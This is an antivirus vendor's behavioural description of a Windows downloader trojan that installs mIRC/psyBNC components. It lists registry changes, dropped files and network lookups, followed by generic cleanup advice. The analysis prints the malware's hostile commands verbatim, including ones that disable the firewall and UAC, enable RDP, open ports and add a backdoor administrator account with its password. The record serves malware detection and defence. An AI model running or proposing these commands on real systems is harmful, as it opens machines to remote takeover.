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Trojan.DownLoader30.29980

Aggiunto al database dei virus Dr.Web: 2019-10-26

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%windir%\temp\system\init.exe'
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks the following features:
  • User Account Control (UAC)
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=RDP protocol=TCP dir=in localport=3389 action=allow
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=Elite protocol=TCP dir=in localport=31337 action=allow
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=Identd protocol=TCP dir=in localport=113 action=allow
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=mIRC protocol=TCP dir=out localport=6697 action=allow
Modifies file system
Creates the following files
  • %WINDIR%\temp\mirc.ini
  • %WINDIR%\temp\mirc293228.tm_
  • %WINDIR%\temp\mirc29600.tm_
  • %WINDIR%\temp\mirc188250.tm_
  • %WINDIR%\temp\mirc521383.tm_
  • %WINDIR%\temp\mirc688491.tm_
  • %WINDIR%\temp\logs\status.log
  • %TEMP%\7zsfx000.cmd
  • %PROGRAMDATA%\microsoft\windows\start menu\programs\startup\init.lnk
  • %WINDIR%\temp\system\winlogon.exe
  • %WINDIR%\temp\system\svchost.exe
  • %WINDIR%\temp\system\script\script3.dll
  • %WINDIR%\temp\system\script\psybnc\psybnc.dll
  • %WINDIR%\temp\system\msvcr100d.dll
  • %WINDIR%\temp\system\msvcp100d.dll
  • %WINDIR%\temp\system\init.exe
  • %WINDIR%\temp\mirc.exe
  • %WINDIR%\temp\system\script\vars.ini
  • %WINDIR%\temp\system\script\psybnc\psybnc.bhelp.en
  • %WINDIR%\temp\system\script\psybnc\logs\main.log
  • %WINDIR%\temp\system\script\ports.txt
  • %WINDIR%\temp\system\info.bat
  • %WINDIR%\temp\s.reg
  • %WINDIR%\temp\psybnc.ico
  • %WINDIR%\temp\mirc170523.tm_
  • %WINDIR%\temp\mirc830136.tm_
Deletes the following files
  • %TEMP%\7zsfx000.cmd
Moves the following files
  • from %WINDIR%\temp\mirc688491.tm_ to %WINDIR%\temp\mirc.ini
  • from %WINDIR%\temp\mirc521383.tm_ to %WINDIR%\temp\system\script\vars.ini
  • from %WINDIR%\temp\mirc29600.tm_ to %WINDIR%\temp\servers.ini
  • from %WINDIR%\temp\mirc293228.tm_ to %WINDIR%\temp\servers.ini
  • from %WINDIR%\temp\mirc170523.tm_ to %WINDIR%\temp\servers.ini
  • from %WINDIR%\temp\mirc830136.tm_ to %WINDIR%\temp\mirc.ini
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://ip##fo.io/95.211.190.199
UDP
  • DNS ASK ir###.iownyour.biz
  • DNS ASK 19#.###.211.95.in-addr.arpa
  • DNS ASK ip##fo.io
Miscellaneous
Searches for the following windows
  • ClassName: 'RegEdit_RegEdit' WindowName: ''
  • ClassName: 'NDDEAgnt' WindowName: 'NetDDE Agent'
Creates and executes the following
  • '%WINDIR%\temp\system\init.exe'
  • '%WINDIR%\temp\mirc.exe'
  • '%WINDIR%\temp\system\svchost.exe'
  • '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZSfx000.cmd" "' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c START /WAIT /B regedit /s %windir%\temp\s.reg & START /B %windir%\temp\mirc.exe & START /MIN reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWOR...
  • '%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\temp\s.reg
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
  • '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\net.exe' user ASP.NET W33dz123!@#$ /ADD
  • '%WINDIR%\syswow64\net.exe' user ASP.NET W33dz123!@#$
  • '%WINDIR%\syswow64\net.exe' localgroup Administrators ASP.NET /ADD
  • '%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" ASP.NET /ADD
  • '%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" ASP.NET /ADD
  • '%WINDIR%\syswow64\net1.exe' user ASP.NET W33dz123!@#$
  • '%WINDIR%\syswow64\net1.exe' user ASP.NET W33dz123!@#$ /ADD
  • '%WINDIR%\syswow64\net1.exe' localgroup Administrators ASP.NET /ADD
  • '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZSfx000.cmd" "
  • '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 2 "%WINDIR%\temp\mirc.exe"

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android